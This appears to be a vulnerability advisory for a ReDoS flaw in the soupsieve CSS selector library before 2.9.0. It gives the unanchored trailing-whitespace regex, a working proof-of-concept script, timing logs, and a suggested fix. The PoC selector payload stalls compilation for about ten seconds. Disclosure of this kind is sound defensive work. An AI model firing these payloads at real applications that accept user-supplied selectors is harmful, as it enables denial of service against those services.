| Package | Affected versions | Patched versions |
|---|---|---|
| soupsieve | < 2.9.0 | 2.9.0 |
Before tokenizing, selector_iter trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with .search(). The trailing one, RE_WS_END = re.compile(r'{WSC}*$'), is anchored only at the end ($), not the start. Because .search() retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail $, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, a + " "*n + b — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.
The selector string is the input, reaching this code via soupsieve.compile(), the soupsieve.select/iselect/match/filter helpers, and BeautifulSoup's soup.select(selector) / soup.select_one(selector). Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.
src/soupsieve/css_parser.py# line 185-186
RE_WS_BEGIN = re.compile(fr'^{WSC}*') # anchored at start -> .search() only tries pos 0 -> linear (safe)
RE_WS_END = re.compile(fr'{WSC}*$') # NOT anchored at start -> .search() tries every offset
# selector_iter, lines ~1322-1326
m = RE_WS_BEGIN.search(pattern)
index = m.end(0) if m else 0
m = RE_WS_END.search(pattern) # <-- O(n^2) here
end = (m.start(0) - 1) if m else (len(pattern) - 1)
WSC = (?:{WS}|{COMMENTS}). For RE_WS_END = (?:WS|COMMENTS)*$, .search() walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, greedily consumes to the run's end, then fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). avoids this because pins it to a single start offset.
(?:WS|COMMENTS)*$RE_WS_BEGIN^The intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored .search() of a *$ pattern is the defect.
751c57b (2.9, PYTHONPATH=src): cd src && python3 ../poc/poc_redos_ws_trim.py.soupsieve 2.8.4 (fresh uv pip install soupsieve beautifulsoup4): cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py → same O(n²) (evidence: poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log).poc/poc_redos_ws_trim.py)import sys, time
sys.path.insert(0, ".")
import soupsieve as sv
def ct(sel):
t0 = time.perf_counter()
try:
sv.compile(sel); st = "ok"
except Exception as e:
st = type(e).__name__
return time.perf_counter() - t0, st
print(f"soupsieve {sv.__version__}\n")
print("VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):")
for n in (2000, 4000, 8000, 16000):
dt, st = ct("a" + " " * n + "b")
print(f" n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms [{st}]")
payload = "a" + " " * 20000 + "b"
dt, st = ct(payload)
print(f"\n[+] Single call: compile('a' + ' '*20000 + 'b') (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s [{st}]")
Isolated confirmation that the cost is in RE_WS_END.search specifically (poc/isolate_ws_trim.py): RE_WS_END on "div"+" "*n+">" is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored RE_WS_BEGIN on " "*n+"x" stays linear (32000→1.5 ms). Profiling compile shows the entire wall time in 2 re.Pattern.search calls, not .match.
poc/evidence_redos_ws_trim.log)soupsieve 2.9
VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):
n=2000 len=2002 112.3 ms [ok]
n=4000 len=4002 411.5 ms [ok]
n=8000 len=8002 1602.9 ms [ok]
n=16000 len=16002 6464.1 ms [ok]
VALID-looking 'a' + '/*x*/'*n + 'b' (CSS comment run):
n=1000 len=5002 48.9 ms [SelectorSyntaxError]
n=2000 len=10002 194.8 ms [SelectorSyntaxError]
n=4000 len=20002 780.2 ms [SelectorSyntaxError]
n=8000 len=40002 3145.3 ms [SelectorSyntaxError]
[+] Single call: compile('a' + ' '*20000 + 'b') (len=20002)
[+] wall time = 10.23 s [ok]
poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log)soupsieve 2.8.4
VALID selector 'a' + ' '*n + 'b':
n=2000 len=2002 102.7 ms [ok]
n=4000 len=4002 404.3 ms [ok]
n=8000 len=8002 1618.2 ms [ok]
n=16000 len=16002 6457.9 ms [ok]
[+] Single call: compile('a' + ' '*20000 + 'b') wall time = 10.11 s [ok]
compile()/select() call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB → ~1.6 s; ~20 KB → ~10 s; scaling ~×4 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path.This is a separate root cause and a separate fix: the cost here is entirely in the RE_WS_END = {WSC}*$ trim step run with .search() before tokenizing (measured in re.Pattern.search), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token .match(). They can be fixed independently.
.search() of {WSC}*$, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or re.compile(r'^{WSC}*').match on a reversed-equivalent), so no per-offset retry occurs.*$ search.Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free